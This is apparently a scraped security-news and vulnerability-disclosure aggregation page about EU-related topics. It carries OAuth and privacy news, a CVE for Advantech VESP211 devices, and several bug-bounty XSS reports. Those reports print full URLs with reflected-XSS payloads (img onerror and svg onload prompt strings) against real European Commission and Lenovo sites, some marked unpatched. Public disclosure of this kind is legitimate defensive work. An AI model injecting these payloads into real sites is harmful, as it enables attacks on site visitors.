OAuth 2.0 Hack Exposes 1 Billion Mobile Apps to Account Hijacking

Third-party applications that allow single sign-on via Facebook and Google and support the OAuth 2.0 protocol, are exposed to account hijacking. Three Chinese University of Hong Kong researchers presented at Black Hat EU last week a paper called “Signing into One Billion Mobile LApp Accounts...

WhatsApp Blasted by EU Data Protection Group Over Facebook Sharing

Yet another privacy coalition is urging WhatsApp to clarify that user information shared between the company and Facebook is compliant with data protection laws on the books in Europe. The Article 29 Working Party, comprised of representatives from data protection authorities from each EU member...

The vulnerability of the microprogrammed Ethernet converter software from Vlinx, VESP 211-232-EU and Vlinx VESP 211-EU, which allows a hacker to perform administrative actions.

The vulnerability of the web interface of the microprogramming-based Ethernet converter software Vlinx VESP 211-232-EU and Vlinx VESP 211-EU is related to access control implementation errors. Exploiting this vulnerability allows a malicious actor to perform administrative actions using modified...

EU Struggles to Determine Growing Cost of Cyberattacks

After painstakingly calculating the true cost of cybercrime in the European Union researchers conclude it’s nearly impossible to come up with hard numbers. In a study released this week by the European Union Agency For Network And Information Security ENISA researchers assert that it’s vitally...

lenovo-eu-en.custhelp.com XSS vulnerability

Vulnerable URL: https://lenovo-eu-en.custhelp.com/app/error/errorid/404/url/%2522%253E%253Cimg%2520src%253D1%2520onerror%253Dprompt%2528'openbugbounty'%2529%253E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 23:20 GMT Vulnerability type:| XSS...

ec.europa.eu XSS vulnerability

Vulnerable URL: http://ec.europa.eu/social/search.jsp?mainCat=1=1226=0=0=0=0=0==test=advancedSubmit=en=%22%3E%3Cimg%20src=null%20onerror=prompt/OPENBUGBOUNTY/%3E= Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 10:40 GMT Vulnerability type:| XS...

What you need to know: Navigating EU Data Protection changes – EU-US Privacy Shield and EU General Data Protection Regulation

If youre an organization with trans-Atlantic presence that transmits and stores European citizen data e.g. employee payroll & HR data, client & prospect data in the U.S. you will want to pay attention. What we will discuss was administered under the European Unions Data Protection Directive and a...

ec.europa.eu XSS vulnerability

Vulnerable URL: http://ec.europa.eu/newsroom/dae/subscription-quick-generic-form-fullpage.cfm?serviceid=167=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

ec.europa.eu XSS vulnerability

Vulnerable URL: http://ec.europa.eu/taxationcustoms/dds2/seed/news/newstaren.jsp?Lang=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 08.07.2016 Latest check for patch:| 08.07.2016 15:30 GMT Vulnerability type:| XSS Vulnerability status:|...

ec.europa.eu XSS vulnerability

Vulnerable URL: http://ec.europa.eu/competition/elojade/isef/index.cfm?casenumber=%22%3E%3Ch1%3EXSS%3C/h1%3E%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 10:56 GMT Vulnerability...

trade.ec.europa.eu XSS vulnerability

Vulnerable URL: http://trade.ec.europa.eu/doclib/cfm/doclibresults.cfm?key=EU%20Visa=1=20=all=News=1=20=1&year1;=01/01/2015&year2;=01/01/2016=all=all=EN%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS...

ec.europa.eu XSS vulnerability

Vulnerable URL: http://ec.europa.eu/regionalpolicy/hu/atlas/managing-authorities//?search=1=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=2=BG=RGE++ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:|...

EU FTL Calculator - External URLs, MIT license, Suspicious files vulnerabilities

HackApp vulnerability scanner discovered that application EU FTL Calculator published at the 'play' market has multiple vulnerabilities...

Advantech/B+B SmartWorx VESP211-EU and VESP211-232 Arbitrary Command Execution Vulnerability

The Advantech/B+B SmartWorx VESP211-EU and VESP211-232 are both Advantech China interfaces for connecting serial devices to Ethernet. An arbitrary command execution vulnerability exists in the Advantech/B+B SmartWorx VESP211-EU and VESP211-232, which could allow a remote attacker to perform...

CVE-2016-2275

The web interface on Advantech/B+B SmartWorx VESP211-EU devices with firmware 1.7.2 and VESP211-232 devices with firmware 1.5.1 and 1.7.2 relies on the client to implement access control, which allows remote attackers to perform administrative actions via modified JavaScript code...

Improper access control

The web interface on Advantech/B+B SmartWorx VESP211-EU devices with firmware 1.7.2 and VESP211-232 devices with firmware 1.5.1 and 1.7.2 relies on the client to implement access control, which allows remote attackers to perform administrative actions via modified JavaScript code...

CVE-2016-2275

CVE-2016-2275 affects Advantech/B+B SmartWorx VESP211-EU (firmware 1.7.2) and VESP211-232 (firmware 1.5.1 and 1.7.2). The web interface relies on client-side authentication, permitting remote attackers to perform administrative actions by modifying JavaScript. Exposure is via network-accessible w...

iate.europa.eu XSS vulnerability

Vulnerable URL: http://iate.europa.eu/switchLang.do?success=mainPage〈=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 12.10.2016 Latest check for patch:| 12.10.2016 12:28 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

ec.europa.eu XSS vulnerability

Vulnerable URL: http://ec.europa.eu/dorie/contact.do Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 9 VIP website status:| Yes Check...

France Orders Facebook To Stop Tracking Non-Users or Face Fines

8th February 2016 would be considered as a cursed day in the history of Facebook. You might have known that just yesterday India bans Facebook's Free Basic Internet in the country. Now, Zuckerberg had got another bombshell in the form of a French Order from the European Data Protection Authority,...